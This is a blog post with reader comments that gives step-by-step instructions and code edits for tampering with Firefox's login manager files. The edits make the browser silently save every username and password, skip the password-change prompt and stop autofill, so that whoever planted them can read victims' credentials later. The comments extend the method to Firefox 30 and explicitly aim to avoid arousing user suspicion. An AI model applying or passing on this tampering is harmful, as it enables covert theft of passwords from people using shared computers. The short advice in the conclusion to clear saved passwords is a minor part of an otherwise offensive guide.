Stealing Passwords with FireFox 3.6.X

-[ Introduction ]-


Most users trust their browser, some trust it with everything, while others like to keep their passwords safe in their heads.  Is there a way to leverage this trust and collect passwords from the not so trusting, after all if you want to surf the internet your going to have to trust something with your password.


-[ The Challenge ]-  Make FireFox 3.6.X auto-magically remember passwords, usernames and URLs.  A quick Google revealed that some researchers are making changes "Hack'ing" nsLoginManagerPrompter.js to remove the save password notification, but i found an issue with just Hacking up nsLoginManagerPrompter.js so i did what all hackers do! "Hack to Learn, don't learn to hack.."


-[ FireFox 3.6.X ]-

Ok so Google reveled FireFox uses some .js files to control the Prompter and a quick find command shows us a few more 

# find /usr/ -type f | grep Login | grep firefox




The great news is there are only 3 files,  even better we only need to hack up 2 out of the 3 to get this working FULLY!  a quick inspection of nsLoginInfo.js revealed that we can leave this file as is, leaving only two files and a few thousand lines of code to read.


-[ # sudo nano ./nsLoginManagerPrompter.js ]- 

The first hack goes like this, When NEW account details are entered the Prompter displays the dialogue, if the user wants to have the details remembered the button calls pwmgr.addLogin(aLogin); all other options result in the details not being saved.  if we take this call pwmgr.addLogin(aLogin); and add it after the var pwmgr = this.pwmgr; call, the details get saved no matter what the user selects, the best part about this method is the dialogue is displayed and the user get the choices they are used to seeing.


var pwmgr = this._pwmgr;

        var buttons = [
            // "Remember" button
                label:     rememberButtonText,
                accessKey: rememberButtonAccessKey,
                popup:     null,
                callback: function(aNotificationBar, aButton) {
            // "Never for this site" button
                label:     neverButtonText,
                accessKey: neverButtonAccessKey,
                popup:     null,
                callback: function(aNotificationBar, aButton) {
                    pwmgr.setLoginSavingEnabled(aLogin.hostname, false);
            // "Not now" button
                label:     notNowButtonText,
                accessKey: notNowButtonAccessKey,
                popup:     null,
                callback:  function() { /* NOP */ }


The second hack needs to remove the change confirmation dialogue, if not we reveal that the details are stored and that we want to change them, this is not good! so we are looking for a way to accept the changes no matter what, and never display the dialogue. we again find the code var pwmgr = this._pwmgr; and again look at the button code, we always want YES so the call to pwmgr.modifyLogin(aOldLogin, aNewLogin); is what we need but this time we don't want to display the dialogue at all, so using a code comment, we comment out the button code apart from the call that saves the changed password.


var pwmgr = this._pwmgr;
//        var buttons = [
            // "Yes" button
//            {
//                label:     changeButtonText,
//                accessKey: changeButtonAccessKey,
//                popup:     null,
//                callback:  function(aNotificationBar, aButton) {
                    pwmgr.modifyLogin(aOldLogin, aNewLogin);
//               }
//           },
            // "No" button
//            {
//                label:     dontChangeButtonText,
//                accessKey: dontChangeButtonAccessKey,
//                popup:     null,
//                callback:  function(aNotificationBar, aButton) {
                    // do nothing
//                }
//            }
//        ];

Now we are left with a Prompter that lies and steals passwords, no matter what choice the user makes.

-[ # sudo nano ./nsLoginManager.js ]-

The third and final hack is to make sure that once we have the details they are not used by FireFox, as this would indicate that the browser has them and that's not good, we want to store them for US not the user, so we just need to find the call that adds them to the page and comment it out.


_domEventListener : {
        _pwmgr : null,
        QueryInterface : XPCOMUtils.generateQI([Ci.nsIDOMEventListener,
        handleEvent : function (event) {
            if (!event.isTrusted)
            this._pwmgr.log("domEventListener: got event " + event.type);
            switch (event.type) {
                case "DOMContentLoaded":
//                    this._pwmgr._fillDocument(;


Now we have hacked FireFox 3.6.X to store ALL and EVERY useful detail of the accounts used in the browser, we can just leave it in place for a while and wait for the accounts to increase, before going back to the

  • [Edit]-->[Preferences] menu within Firefox clicking the [Security] tab followed by the [Saved Passwords] button.

you are given a list of usernames and sites, all that's left are the passwords, just click

  • [Show Passwords]

to see the password strings revealed .

-[ Conclusion ]-

Using a shared browser is bad news, unless your the one doing the sharing, but by knowing you can and should click the [Remove] button you are better protected against this type of attack, and now maybe more inclined to check before you [Exit].

Unless your sure the system your using is safe then don't use it for anything you wouldn't want anyone else to to find, this was just some simple fun just to see if i could, but if deployed i would see no reason why accounts would not be compromised.


-[ The END ]-

Views: 2364


You need to be a member of Dissecting The Hack to add comments!

Join Dissecting The Hack

Comment by Dan Komis on September 27, 2017 at 7:37pm

How do you do this on firefox 52? I removed lines 1061-1127, and replaced it with   var pwmgr = this._pwmgr;
        pwmgr.addLogin(aLogin); but it's not working.

Comment by Bill Glass on July 1, 2014 at 11:10am

I have figured out the first two hacks for Firefire.30.  Before starting the hacks, do the following.

With PowerArchive (or similar program), open omni.ja.  Navigate to omni.ja > jsloader >  resources > gre > components.  Delete nsloginmanagerprompter.js and nsloginmanager.js.  I'm not entirely sure what these files are for but all I know is the hacks won't work if these aren't deleted.

Now, navigate your way back to the root folder and open omni.ja > components.  Find the two files "nsloginmanagerprompter.js" and "nsloginmanager.js".

Now we should be right to amend some functions and achieve the first two hacks.

Hack 1

- AIM: to automatically save a username and password without the user's awareness.

- ASSUMPTIONS: firstly, in my case, my requirement is to completely prevent the login manager prompter from popping up (the dialog asking whether to save the password or not).  This is because I already know the user has previously clicked on the "never" button, which then places the login information into the "exceptions" list.  Thus, the user is used to never seeing the prompter.

The other scenario is that the user always cancels the prompter, whilst not clicking on any button in the dialog.  In this case, you'd want the prompter showing up, but have the login manager save the login information no matter what option is selected.  I've only learnt how to do the former scenario so I'll just address that one.

METHOD: In omni.ja > components, open nsloginmanagerprompter.js with Notepad++ (or similar).  CTRL+F (find) the "_showSaveLoginNotification" function.  It is about line 769 and looks like this:

_showSaveLoginNotification : function (aNotifyObj, aLogin)

I believe this function is required to be performed in order to save any password, subject to a number of variables.  The user must select the "Remember" button, which then activates another function to add the password to the password manager.  This function is pwmgr.addLogin(aLogin);.  There are several other functions that govern which button does what and it should be easy to change, but I have yet to identify what to change.  It's not necessary to bother changing anything anyway because I don't want anything popping up.  Therefore, I want to delete the entire content of the function: _showSaveLoginNotification : function (aNotifyObj, aLogin) and simply replace it with: var pwmgr = this._pwmgr; pwmgr.addLogin(aLogin);.  The first hack should look like this:

_showSaveLoginNotification : function (aNotifyObj, aLogin) {

var pwmgr = this._pwmgr;

Hack 2

- AIM: to automatically update an old password without any awareness of the user when a new password has been entered

- ASSUMPTIONS: this can only work if the password has not been autofilled into the password field.  The user's obviously going to know the password was saved if it's already sitting there.  This is the point of Hack 3, which I haven't quite figured out yet.  Anyway, this is important in case the user types the incorrect password in and has to retype it.  The last password is the one that has most likely worked and the login manager must be kept up to date in complete silence.

METHOD: Similar to Hack 1, where the function relates to "show"ing something, the function to amend is: _showChangeLoginNotification : function (aNotifyObj, aOldLogin, aNewPassword).  This prompter pop up is a required intermediate step to do any updating of passwords.  The function that does the adding is:  self._updateLogin(aOldLogin, aNewPassword);.  You can see that there is a list of "if" and "var" functions, which I think govern the situations when a password is updated.  Then there is this:, "password-change", notificationText,
"password-notification-icon", mainAction,
null, { timeout: + 10000,
persistWhileVisible: true });

Notice the word "show" near the start of it.  My thought is I don't want anything "show"ing so I replaced it with this: 

var pwmgr = this._pwmgr;
self._updateLogin(aOldLogin, aNewPassword);

Then another function with "show" in it: 

this._showLoginNotification(aNotifyObj, "password-change",
notificationText, buttons);.

And, again, I replaced it with:

var pwmgr = this._pwmgr;

self._updateLogin(aOldLogin, aNewPassword);

Hack 3

Hack 3

- AIM: to prevent saved passwords from autofilling into the password field whenever the username is present in the username field.

- ASSUMPTIONS: I still haven't figured this one out.  This is a required step and must be addressed.  Once this has been sorted, I don't think there is anything else that will trigger suspicion that the browser is saving passwords.  That is unless the user decides to take a look at the password manager themselves for some reason and make the discovery.  By that time, I think you (the hacker) would have gotten whatever information you've been aiming for.  

If anyone has any idea how to achieve Hack 3 in FF.30, please let us know.  I'll still try figure it out but just don't want to spend so much time on it..

Comment by James Fisher on June 24, 2014 at 6:02am

this post seams to have generated a bit of interest as updated versions of firefox no longer have direct access to the essential files needed to make the hack work, i am a little busy at the moment with other things but for those that are interested i would GUESS that the hack its self works as is, all you need to do is find the new locations..

$ grep -ri Login /usr/lib/firefox/
Binary file /usr/lib/firefox/omni.ja matches

$ grep -r nsLoginManagerPrompter /usr/lib/firefox/omni.ja
Binary file /usr/lib/firefox/omni.ja matches

google omni.ja returns a number of hits, this one looks the most interesting for our / your purposes

quote taken from above link "Firefox and Thunderbird achieve performance improvements by moving many of their internal parts from being standalone files or sets of JAR files into just one JAR file called omni.ja; this reduces the amount of I/O needed to load the application.  Since Firefox 10 and Thunderbird 10, the file extension .ja is used because Windows System Restore does not back up files with the .jar extension, but it does back up .ja files."

if i get time i may update this post, but i would GUESS that most works as is.  give it a try.

Comment by Bill Glass on June 23, 2014 at 4:27am

Hi James Fisher

I have been unable to find the code to change in firefox.30.  Do you know if it's changed?  Can you please do an update so I can do the following:

alter the omni.ja folder so that:
- the password automatically saves onto the browser without any notice or prompter
- automatically update changed passwords without any notice or prompter
- prevent any saved passwords from automatically inserting itself into the password field, so as to avoid any suspicion that the password has been stored

Your post seeks to achieve exaclty what I am trying to achieve but I think FF differs slightly now.  I will very much appreciate any help you provide (I've been at this for a while now).

Comment by fixnichols on August 3, 2011 at 2:18pm
makes me wonder about defense departments dabbling in the idea of iplist based interception and injection of downloaded content for infiltration and reconnaissance.  spooky.
Comment by Bennett Tomlinson on July 20, 2011 at 8:23am
Excellent article.  Thanks.
Comment by d3tm4r on July 18, 2011 at 10:14am
Awesome article! Very informative. But as you said, it's not a good idea to share your browser anyway. There are so many other ways to harvest credentials using a shared browser/machine. But this one is really neat! :)

Latest Activity

Robert Gray is now a member of Dissecting The Hack
Oct 17
Nikhil is now a member of Dissecting The Hack
Oct 8
tata 1997 is now a member of Dissecting The Hack
Oct 4
Dan Komis commented on James Fisher's blog post Stealing Passwords with FireFox 3.6.X
"How do you do this on firefox 52? I removed lines 1061-1127, and replaced it with   var pwmgr = this._pwmgr;        pwmgr.addLogin(aLogin); but it's not working."
Sep 27

© 2017   Created by Marcus J. Carey.   Powered by

Badges  |  Report an Issue  |  Terms of Service